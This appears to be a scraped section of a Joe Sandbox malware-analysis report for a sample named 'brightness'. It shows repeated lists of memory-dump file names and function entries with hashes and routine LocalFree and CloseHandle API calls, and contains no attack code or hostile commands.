Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: b792924d003b0eb11df902f787bcc14fcb5fdf7e3c654dd6ba46c80e47baa6ef
Instruction ID: fe77fcc2a33ac29b85d62c158acf828c5d79ce5b2372465456e318e92d9dbeee
Opcode Fuzzy Hash: b792924d003b0eb11df902f787bcc14fcb5fdf7e3c654dd6ba46c80e47baa6ef
Instruction Fuzzy Hash: D4F0F835931515DBC7168FA4EC8DFAABBBDAB44301F949628E101A65A0C778E8D4CF90

Function 002C53E7 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002C56DD
LocalFree.KERNEL32(00000000), ref: 002C56F2
CloseHandle.KERNEL32(00000000), ref: 002C5702
CloseHandle.KERNEL32(00000000), ref: 002C5712

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: e52b2d451ae1f84d1836359fe2e47c9aaede8131a5cbcd6ac3187d17854b7dcb
Instruction ID: fe77fcc2a33ac29b85d62c158acf828c5d79ce5b2372465456e318e92d9dbeee
Opcode Fuzzy Hash: e52b2d451ae1f84d1836359fe2e47c9aaede8131a5cbcd6ac3187d17854b7dcb
Instruction Fuzzy Hash: D4F0F835931515DBC7168FA4EC8DFAABBBDAB44301F949628E101A65A0C778E8D4CF90

Function 002C53CA Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002C56DD
LocalFree.KERNEL32(00000000), ref: 002C56F2
CloseHandle.KERNEL32(00000000), ref: 002C5702
CloseHandle.KERNEL32(00000000), ref: 002C5712

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: fe59f8d10e15ddec8069b88e9ae59ce7adf6b9b287582de1f6a2c861dbe51e54
Instruction ID: fe77fcc2a33ac29b85d62c158acf828c5d79ce5b2372465456e318e92d9dbeee
Opcode Fuzzy Hash: fe59f8d10e15ddec8069b88e9ae59ce7adf6b9b287582de1f6a2c861dbe51e54
Instruction Fuzzy Hash: D4F0F835931515DBC7168FA4EC8DFAABBBDAB44301F949628E101A65A0C778E8D4CF90

Function 002C549F Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002C56DD
LocalFree.KERNEL32(00000000), ref: 002C56F2
CloseHandle.KERNEL32(00000000), ref: 002C5702
CloseHandle.KERNEL32(00000000), ref: 002C5712

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 90fa216795e2ea99540543630d9c58582c21765d332117864a339e1603f9d945
Instruction ID: fe77fcc2a33ac29b85d62c158acf828c5d79ce5b2372465456e318e92d9dbeee
Opcode Fuzzy Hash: 90fa216795e2ea99540543630d9c58582c21765d332117864a339e1603f9d945
Instruction Fuzzy Hash: D4F0F835931515DBC7168FA4EC8DFAABBBDAB44301F949628E101A65A0C778E8D4CF90

Function 002C5544 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002C56DD
LocalFree.KERNEL32(00000000), ref: 002C56F2
CloseHandle.KERNEL32(00000000), ref: 002C5702
CloseHandle.KERNEL32(00000000), ref: 002C5712

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 17ba0e79d31ca31e63879a342221d757d69cb0f18a2adaa32f51ca37d109fa0b
Instruction ID: fe77fcc2a33ac29b85d62c158acf828c5d79ce5b2372465456e318e92d9dbeee
Opcode Fuzzy Hash: 17ba0e79d31ca31e63879a342221d757d69cb0f18a2adaa32f51ca37d109fa0b
Instruction Fuzzy Hash: D4F0F835931515DBC7168FA4EC8DFAABBBDAB44301F949628E101A65A0C778E8D4CF90

Function 002C55C5 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002C56DD
LocalFree.KERNEL32(00000000), ref: 002C56F2
CloseHandle.KERNEL32(00000000), ref: 002C5702
CloseHandle.KERNEL32(00000000), ref: 002C5712

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: ac86faa4670b24cde874cf4b79517bb1e8aa4845faf0980ecf9bc62d67e7b7d5
Instruction ID: fe77fcc2a33ac29b85d62c158acf828c5d79ce5b2372465456e318e92d9dbeee
Opcode Fuzzy Hash: ac86faa4670b24cde874cf4b79517bb1e8aa4845faf0980ecf9bc62d67e7b7d5
Instruction Fuzzy Hash: D4F0F835931515DBC7168FA4EC8DFAABBBDAB44301F949628E101A65A0C778E8D4CF90

Function 002C5630 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 002C56DD
LocalFree.KERNEL32(00000000), ref: 002C56F2
CloseHandle.KERNEL32(00000000), ref: 002C5702
CloseHandle.KERNEL32(00000000), ref: 002C5712

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
